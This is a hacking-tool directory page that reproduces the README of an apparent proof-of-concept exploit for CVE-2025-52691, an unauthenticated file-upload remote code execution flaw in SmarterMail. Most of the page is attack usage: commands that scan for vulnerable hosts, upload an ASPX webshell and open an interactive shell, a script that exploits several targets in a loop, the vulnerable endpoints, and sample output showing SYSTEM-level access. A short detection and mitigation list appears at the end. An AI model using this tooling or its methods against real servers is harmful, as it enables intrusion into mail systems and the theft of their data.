Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-52691-poc | Kitploit
Tools/GitHubGitHub/rimbadirgantara/cve-2025-52691-poc
Vulnerability ScannersPayload GenerationVulnerability AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingLearning & Education
GitHubrimbadirgantara/cve-2025-52691-poc

CVE-2025-52691-poc

View Repository
37 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-52691 POC

Proof of Concept for CVE-2025-52691 - SmarterMail Unauthenticated Arbitrary File Upload RCE

⚠️ Disclaimer

For authorized security testing and educational purposes only. Unauthorized access is illegal.

Overview

Critical vulnerability in SmarterMail allowing unauthenticated arbitrary file upload via path traversal, leading to Remote Code Execution.

Vulnerability: Path traversal in upload endpoints allows uploading ASPX webshells to web root
Impact: Unauthenticated Remote Code Execution
Vector: Network / Unauthenticated

Installation

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3

Tools

check.py - Vulnerability Scanner

Scans targets for CVE-2025-52691 vulnerability. Saves only vulnerable URLs to output file.

root@kitploit:~
# Single target
python check.py https://mail.example.com

# Multiple targets
python check.py -f targets.txt -o results.txt

# Custom timeout
python check.py https://mail.example.com -t 30

Output: One vulnerable URL per line in results.txt

pwn.py - Exploit Tool

Uploads ASPX webshell and provides command execution.

root@kitploit:~
# Basic exploit
python pwn.py https://mail.example.com

# Execute command
python pwn.py https://mail.example.com -c "whoami"

# Interactive shell
python pwn.py https://mail.example.com -i

exploit.py - Python Library

Reusable exploitation module for integration into custom scripts.

As Library:

root@kitploit:~
from exploit import SmarterMailExploit, TargetConfig, ExploitResult

# Basic usage
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)

if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
    print(exploit.execute_command("whoami"))

# With custom timeout
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()

# Execute multiple commands
if result == ExploitResult.SHELL_UPLOADED:
    print(exploit.execute_command("whoami"))
    print(exploit.execute_command("hostname"))
    print(exploit.execute_command("ipconfig"))

As Standalone Script:

root@kitploit:~
# Import and run in Python
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"

# Create custom script
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult

targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
    config = TargetConfig(base_url=target)
    exploit = SmarterMailExploit(config)
    if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
        print(f"[+] Exploited: {target}")
        print(exploit.execute_command("whoami"))
EOF
python my_exploit.py

Technical Details

Vulnerable Endpoints:

root@kitploit:~
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx

Exploitation Methods:

  • Multipart form upload with path traversal (../wwwroot/)
  • Raw POST with custom headers
  • JSON payload with base64-encoded content

Webshell: Minimal ASPX shell accepting commands via ?cmd= parameter

Attack Flow

  1. Scan target: python check.py <target>
  2. Exploit: python pwn.py <target> -i
  3. Execute commands in interactive shell

Detection & Mitigation

Detection:

  • Monitor ASPX file uploads to web directories
  • Check logs for path traversal patterns (../)
  • Alert on unexpected /api/upload requests

Mitigation:

  • Update SmarterMail to latest version
  • Implement strict file path validation
  • Deploy WAF with upload filtering
  • Require authentication on upload endpoints

Example

root@kitploit:~
$ python pwn.py https://mail.example.com -c "whoami"

[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx

[*] Executing: whoami
[+] Output:
nt authority\system

Always obtain proper authorization before testing.

Download Tool